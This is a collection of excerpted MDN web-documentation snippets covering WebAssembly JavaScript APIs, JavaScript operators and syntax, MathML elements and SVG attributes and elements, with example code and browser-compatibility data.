... webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsbufferchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.RuntimeError() constructor - JavaScript
examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support ...
...57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation ...
WebAssembly.Table() constructor - JavaScript
so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call from js.
... webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstable() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrom...
WebAssembly.compileStreaming() - JavaScript
because the compilestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills.
... var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.compilestreaming(fetch('simple.wasm')) .then(module => webassembly.instantiate(module, importobject)) .then(instance => instance.exports.exported_func()); the resulting module instance is then instantiated using webassembly.instantiate(), and the exported function invoked.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilestreamingchrome full support 61edge full support 16firefox full support 58ie no support noopera full support 47safari no support nowebview android full support 61chrome android full support 61firefox android full support ...
decodeURI() - JavaScript
exceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid character sequences.
... description replaces each escape sequence in the encoded uri with the character that it represents, but does not decode escape sequences that could not have been introduced by encodeuri.
... the character “#” is not decoded from escape sequences.
... examples decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
function* expression - JavaScript
can be omitted, in which case the function is anonymous.
... statements the statements which comprise the body of the function.
...the main difference between a function* expression and a function* statement is the function name, which can be omitted in function* expressions to create anonymous generator functions.
... see also the chapter about functions for more information.
in operator - JavaScript
the in operator returns true if the specified property is in the specified object or its prototype chain.
... object object to check if it (or its prototype chain) contains the property with specified name (prop).
... let empties = new array(3).fill(undefined) 2 in empties // returns true inherited properties the in operator returns true for properties in the prototype chain.
... (if you want to check for only non-inherited properties, use object.prototype.hasownproperty() instead.) 'tostring' in {} // returns true specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
void operator - JavaScript
the void operator is often used merely to obtain the undefined primitive value, usually using "void(0)" (which is equivalent to "void 0").
...for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backgroundcolor='green');"> click here for green background </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers.
...to be safe, when the return value of a function is not intended to be used, it can be passed to the void operator to ensure that (for example) changing apis do not cause arrow functions' behaviors to change.
... button.onclick = () => void dosomething(); this ensures the return value of dosomething changing from undefined to true will not change the behavior of this code.
break - JavaScript
the break statement terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.
...if the statement is not a loop or switch, this is required.
... a break statement, with or without a following label, cannot be used within the body of a function that is itself nested within the current loop, switch, or label statement that the break statement is intended to break out of.
... block_1: { console.log('1'); break block_2; // syntaxerror: label not found } block_2: { console.log('2'); } break within functions syntaxerrors are also generated in the following code examples which use break statements within functions that are nested within a loop, or labeled block that the break statements are intended to break out of.
import.meta - JavaScript
normally the left-hand side of the dot is the object on which property access is performed, but here import is not really an object.
...this will either be the url from which the script was obtained, for external scripts, or the document base url of the containing document, for inline scripts.
... for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url with query parameters will err when loading in the form node --experimental-modules index.mjs?someurlinfo=5 (it is treated as a file rather than a url in this co...
... such file-specific argument passing may be complementary to that used in the application-wide location.href (with query strings or hash added after the html file path) (or on node.js, through process.argv).
Trailing commas - JavaScript
when iterating arrays for example with array.prototype.foreach() or array.prototype.map(), array holes are skipped.
... parameter definitions the following function definition pairs are legal and equivalent to each other.
... function f(p) {} function f(p,) {} (p) => {}; (p,) => {}; the trailing comma also works with method definitions for classes or objects: class c { one(a,) {} two(a, b,) {} } var obj = { one(a,) {}, two(a, b,) {}, }; function calls the following function invocation pairs are legal and equivalent to each other.
... both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4 ]'); json.parse('{"foo" : 1 }'); specifications specification ecmascript (ecma-262) ...
<mi> - MathML
WebMathMLElementmi
the mathml <mi> element indicates that the content should be rendered as an identifier such as function names, variables or symbolic constants.
... mathvariant this logical class of the identifier, which varies in typography.
... that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
... the following values are allowed: normal (default value for more than one character) ; example bold ; example italic (default value for a single character) ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mi> y </mi> <mi> sin </mi> <mi mathvariant="monospace"> x </mi> <mi mathvariant="bold"> &pi; </mi> </math> specifications specification status comment mathml 3.0the definition of 'mi'...
<mtext> - MathML
WebMathMLElementmtext
the mathml <mtext> element is used to render arbitrary text with no notational meaning, such as comments or annotations.
... mathvariant this attribute specifies the logical class of the identifier, which varies in typography.
... that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
... ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mtext> theorem of pythagoras </mtext> <mtext> /* comment here */ </mtext> </math> specifications specification status comment mathml 3.0the definition of 'mtext' in that specification.
<semantics> - MathML
the <semantics> element acts as a container element associating annotations and must have child elements (it will raise an invalid markup error otherwise).
... the rules of determining the visible child in a <semantics> element are the following: if no rule other rule applies: by default only the first child is rendered, which is supposed to be presentation markup.
... if the first child is a presentation mathml element other than <annotation> or <annotation-xml>, render the first child.
... if no presentation mathml is found, render the first <annotation> or <annotation-xml> child element of <semantics>.
accumulate - SVG: Scalable Vector Graphics
it is frequently useful for repeated animations to build upon the previous results, accumulating with each iteration.
... this attribute said to the animation if the value is added to the previous animated attribute's value on each iteration.
... four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the previous iteration.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'accumulate' in that specification.
calcMode - SVG: Scalable Vector Graphics
paced defines interpolation to produce an even pace of change across the animation.
... this is only supported for values that define a linear numeric range, and for which some notion of "distance" between points can be calculated (e.g.
...the points of the spline are defined in the keytimes attribute, and the control points for each interval are defined in the keysplines attribute.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'calcmode' in that specification.
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
candidate recommendation removed the restriction to which elements it applies.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolorchrome ?
... chrome android ?
fill-rule - SVG: Scalable Vector Graphics
starting with a count of zero, add one each time a path segment crosses the ray from left to right and subtract one each time a path segment crosses the ray from right to left.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-rulechrome ?
... chrome android ?
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
olor fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradient)" /> <!-- keeping the final state of an animated circle which is a circle with a radius of 40.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfillchrome ?
... chrome android ?
font-weight - SVG: Scalable Vector Graphics
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-weightchrome ?
... chrome android ?
in2 - SVG: Scalable Vector Graphics
WebSVGAttributein2
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... working draft no change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification.
... working draft no change filter effects module level 1the definition of 'in2 for <feblend>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fedisplacementmap>' in that specification.
lengthAdjust - SVG: Scalable Vector Graphics
the lengthadjust attribute controls how the text is stretched into the length defined by the textlength attribute.
... four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stretched using spacing only.
... </text> <text x="0" y="50" textlength="300" lengthadjust="spacingandglyphs"> stretched using spacing and glyphs.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'lengthadjust' in that specification.
operator - SVG: Scalable Vector Graphics
atop this value indicates that the parts of the source graphic defined in the in attribute, which overlap the destination graphic defined in the in2 attribute, replace the destination graphic.
... the parts of the destination graphic that do not overlap with the source graphic stay untouched.
... arithmetic this value indicates that the source graphic defined in the in attribute and the destination graphic defined in the in2 attribute are combined using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively, and k1,k2,k3,and k4 indicate the values of the attributes with the same name.
... working draft no change filter effects module level 1the definition of 'operator for <fecomposite>' in that specification.
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
...which points outwards from both ends.
... <angle> this value indicates that the marker is oriented such that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis.
...the marker is oriented such that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis.
panose-1 - SVG: Scalable Vector Graphics
panose-1 is an industry standard truetype font classification and matching technology.
... the panose system consists of a set of ten numbers that categorize the key attributes of a latin typeface, a classification procedure for creating those numbers, and mapper software that determines the closest possible font match given a set of typefaces.
...the initial value zero for each panose digit means "any", i.e.
... all fonts will match the panose number if this value is used.
preserveAspectRatio - SVG: Scalable Vector Graphics
ctive { outline: 1px solid red; } syntax preserveaspectratio="<align> [<meetorslice>]" its value is made of one or two keywords: a required alignment value and an optional "meet or slice" reference as described below: alignment value the alignment value indicates whether to force uniform scaling and, if so, the alignment method to use in case the aspect ratio of the viewbox doesn't match the aspect ratio of the viewport.
...scale the graphic content of the given element non-uniformly if necessary such that the element's bounding box exactly matches the viewport rectangle.
... meet or slice reference the meet or slice reference is optional and, if provided, must be one of the following keywords: meet (the default) - scale the graphic such that: aspect ratio is preserved the entire viewbox is visible within the viewport the viewbox is scaled up as much as possible, while still meeting the other criteria in this case, if the aspect ratio of the graphic does not match the viewport, some of the viewport will extend beyond the bounds of the viewbox (i.e., the area into which the viewbox will draw will be smaller ...
... slice - scale the graphic such that: aspect ratio is preserved the entire viewport is covered by the viewbox the viewbox is scaled down as much as possible, while still meeting the other criteria in this case, if the aspect ratio of the viewbox does not match the viewport, some of the viewbox will extend beyond the bounds of the viewport (i.e., the area into which the viewbox will draw is larger than the viewport).
rendering-intent - SVG: Scalable Vector Graphics
sometimes pixel values that were originally within the target device gamut are changed in order to avoid hue shifts and discontinuities and to preserve as much as possible the overall appearance of the scene.
... relative-colorimetric this value preserves the relative saturation (chroma) values of the original pixels.
... saturation this value leaves colors that fall inside the gamut unchanged.
... absolute-colorimetric this value disables white point matching when converting colors.
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
usage notes value auto | auto-reverse | <number> default value 0 animatable no the auto and auto-reverse values allow the animated element's rotation to change dynamically as it travels along the path.
... setting rotate's value to a number specifies a constant rotation, in degrees, that does not change with the animation.
... examples svg <svg width="400" height="120" viewbox="0 0 480 120" xmlns="http://www.w3.org/2000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow which will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="0"> <mpath href="#themotionpath"/> </animatemotion> </path> <g transform="translate(100, 0)"> <use href="#themotionpath"/> <!-- green arrow which will rotate along the motion path --> <path fill="gre...
...en" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(200, 0)"> <use href="#themotionpath"/> <!-- blue arrow which will rotate backwards along the motion path --> <path fill="blue" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto-reverse"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 ...
spacing - SVG: Scalable Vector Graphics
WebSVGAttributespacing
the spacing attribute indicates how the user agent should determine the spacing between typographic characters that are to be rendered along a path.
... only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve visually appealing results.
... exact this value indicates that the typographic characters should be rendered exactly according to the spacing rules as specified by the layout rules for text-on-a-path.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spacing' in that specification.
stroke-dashoffset - SVG: Scalable Vector Graphics
<line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the start of the dash array computation is pulled by 1 user units which ends up in the same rendering as the previous example --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="1" /> <!-- the following red lines highlight the offset of the dash array for each line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dashoffsetchrome ?
... chrome android ?
stroke-miterlimit - SVG: Scalable Vector Graphics
5 ,3" /> <!-- impact of a large miter limit (8) --> <path stroke="black" fill="none" stroke-linejoin="miter" stroke-miterlimit="8" id="p3" d="m1,29 l7 ,-3 l7 ,3 m2, 0 l3.5 ,-3 l3.5 ,3 m2, 0 l2 ,-3 l2 ,3 m2, 0 l0.75,-3 l0.75,3 m2, 0 l0.5 ,-3 l0.5 ,3" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path stroke="pink" fill="none" stroke-width="0.05" d="m1, 9 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3 m1,19 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3 m1,29 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3" /> </svg> w...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-miterlimitchrome ?
... chrome android ?
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
the target attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser.
... this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> ...
... note: this value was never well implemented, and the distinction between _replace and _self has been made redundant by changes in the html definition of browsing contexts.
...the name must be a valid xml name [xml11], and should not start with an underscore (u+005f low line character), to meet the requirements of a valid browsing context name from html.
u1 - SVG: Scalable Vector Graphics
WebSVGAttributeu1
the u1 attribute specifies list of unicode characters (refer to the description of the unicode attribute of the <glyph> element for a description of how to express individual unicode characters) and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
... if a given unicode character within the set has multiple corresponding <glyph> elements (i.e., there are multiple <glyph> elements with the same unicode attribute value but different glyph-name values), then all such glyphs are included in the set.
... comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
u2 - SVG: Scalable Vector Graphics
WebSVGAttributeu2
the u2 attribute specifies list of unicode characters (refer to the description of the unicode attribute of the <glyph> element for a description of how to express individual unicode characters) and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
... if a given unicode character within the set has multiple corresponding <glyph> elements (i.e., there are multiple <glyph> elements with the same unicode attribute value but different glyph-name values), then all such glyphs are included in the set.
... comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
values - SVG: Scalable Vector Graphics
WebSVGAttributevalues
the values attribute has different meanings, depending upon the context where itʼs used, either it defines a sequence of values used over the course of an animation, or itʼs a list of numbers for a color matrix, which is interpreted differently depending on the type of color change to be performed.
... value <list-of-numbers> default value if type="matrix", identity matrix, if type="saturate", 1, resulting in identity matrix, if type="huerotate", 0, resulting in identity matrix animatable yes <list-of-numbers> the value is a list of numbers, which is interpreted differently depending on the value of the type attribute: for type="matrix", values is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ...
... working draft no change svg animations level 2the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'values for <fecolormatrix>' in that specification.
writing-mode - SVG: Scalable Vector Graphics
(note that the inline-progression-direction can change within a <text> element due to the unicode bidirectional algorithm and properties direction and unicode-bidi.) note: as a presentation attribute, writing-mode can be used as a css property.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwriting-modechrome ?
... chrome android ?
<cursor> - SVG: Scalable Vector Graphics
WebSVGElementcursor
a recommended approach for defining a platform-independent custom cursor is to create a png image and define a cursor element that references the png image and identifies the exact position within the image which is the pointer position (i.e., the hot spot).
... the png format is recommended because it supports the ability to define a transparency mask via an alpha channel.
... if a different image format is used, this format should support the definition of a transparency mask (two options: provide an explicit alpha channel or use a particular pixel color to indicate transparency).
...typically, the other pixel information (e.g., the r, g and b channels) defines the colors for those parts of the cursor which are not masked out.
<feDisplacementMap> - SVG: Scalable Vector Graphics
xc(x,y) and yc(x,y) are the component values of the channel designated by xchannelselector and ychannelselector.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 scale xchannelselector ychannelselector dom interface this element implements the svgfedisplacementmapelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
... working draft no changes scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedisplacementmap>' in that specification.
<linearGradient> - SVG: Scalable Vector Graphics
value type: pad|reflect|repeat ; default value: pad; animatable: yes x1 this attribute defines the x coordinate of the starting point of the vector gradient along which the linear gradient is drawn.
... value type: <length> ; default value: 0%; animatable: yes x2 this attribute defines the x coordinate of the ending point of the vector gradient along which the linear gradient is drawn.
... value type: <iri> ; default value: none; animatable: yes y1 this attribute defines the y coordinate of the starting point of the vector gradient along which the linear gradient is drawn.
... value type: <length> ; default value: 0%; animatable: yes y2 this attribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn.
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
markers are attached to shapes using the marker-start, marker-mid, and marker-end properties.
... value type: <length> ; default value: 3; animatable: yes orient this attribute defines the orientation of the marker relative to the shape it is attached to.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...a-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
the <symbol> element is used to define graphical template objects which can be instantiated by a <use> element.
...documents that are rich in structure may be rendered graphically, as speech, or as braille, and thus promote accessibility.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...uetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered.
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of each individual glyph.
... value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength attribute.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, ar...
...a-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
Example - SVG: Scalable Vector Graphics
first, each mote tries to move towards the mouse cursor, and second each mote tries to move away from the average mote position.
